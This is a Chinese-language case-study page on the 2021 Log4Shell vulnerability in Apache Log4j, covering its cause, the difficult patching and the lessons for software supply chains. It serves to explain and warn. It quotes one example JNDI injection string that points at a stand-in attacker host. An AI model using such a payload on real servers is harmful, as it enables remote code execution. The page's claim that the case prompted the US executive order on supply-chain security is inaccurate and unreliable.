案例库 · 软件与 IT · 技术决策 · 2021
Log4j 的“Log4Shell”漏洞无处不在——整个互联网花了一个月打补丁
Apache Log4j 中的一个零日漏洞 (CVE-2021-44228) 能在数百万台服务器上远程执行代码。它被称为“十年来最大的漏洞”。
Apache 软件基金会 · 2021-12
怎么回事
2021 年 12 月,人们在一个无处不在的 Java 日志库 Apache Log4j 中发现了一个严重的零日漏洞 (CVE-2021-44228,绰号“Log4Shell”),它被用在数百万个应用和服务器里。攻击者只要发送一段精心构造的字符串,就能在服务器上执行任意代码——简单到只需在登录框里输入“${jndi:ldap://attacker.com}”。
这个漏洞之所以是灾难性的,是因为 Log4j 嵌在种类繁多的软件里:企业应用、云服务、游戏服务器 (Minecraft)、物联网设备、政府系统。许多机构甚至不知道自己在运行 Log4j,因为它是一个深埋在软件栈里的传递依赖。
Apache 软件基金会发布了补丁,但修复缓慢而复杂:机构必须找出系统里每一处 Log4j,逐个打补丁,再验证修复。漏洞在披露后几小时内就被积极利用。这一案例说明了现代软件供应链的脆弱:一个被广泛使用的开源库里的单一漏洞,能同时危及数百万个系统。
为什么会这样
- Log4j 作为传递依赖嵌在数百万个应用里,运行它的机构往往毫不知情。
- 这个漏洞允许远程代码执行,利用字符串简单得不能再简单。
- 修复很慢,因为机构必须在自己技术栈里找到并修补每一处 Log4j。
- 漏洞在公开披露后几小时内就被积极利用。
教训
现代软件栈是一座依赖之塔,大多数机构并不知道自己的塔里有什么。Log4j 无处不在。问题不是“我们受影响了吗?”,而是“我们能率先查清楚吗?”
后来呢
Apache 发布了补丁,这个 CVE 被评为 10.0 的严重性满分。这一案例促使美国政府就软件供应链安全发布行政命令,也加快了软件物料清单 (SBOM) 的采用。Log4j 至今仍是供应链风险的一个参照点。
资料来源
- Log4Shell — Wikipedia
- Log4shell: US demands Christmas Eve deadline for hack fix — BBC News
- The Log4J Vulnerability Will Haunt the Internet for Years — WIRED
- CISA — Apache Log4j Vulnerability Guidance (CVE-2021-44228)
发现哪里写错了?告诉我们。
类似的案例
这家公司栽倒的地方,别处有人漂亮地解开过。 第二意见 →

Comments · 0
登录 后就能评论。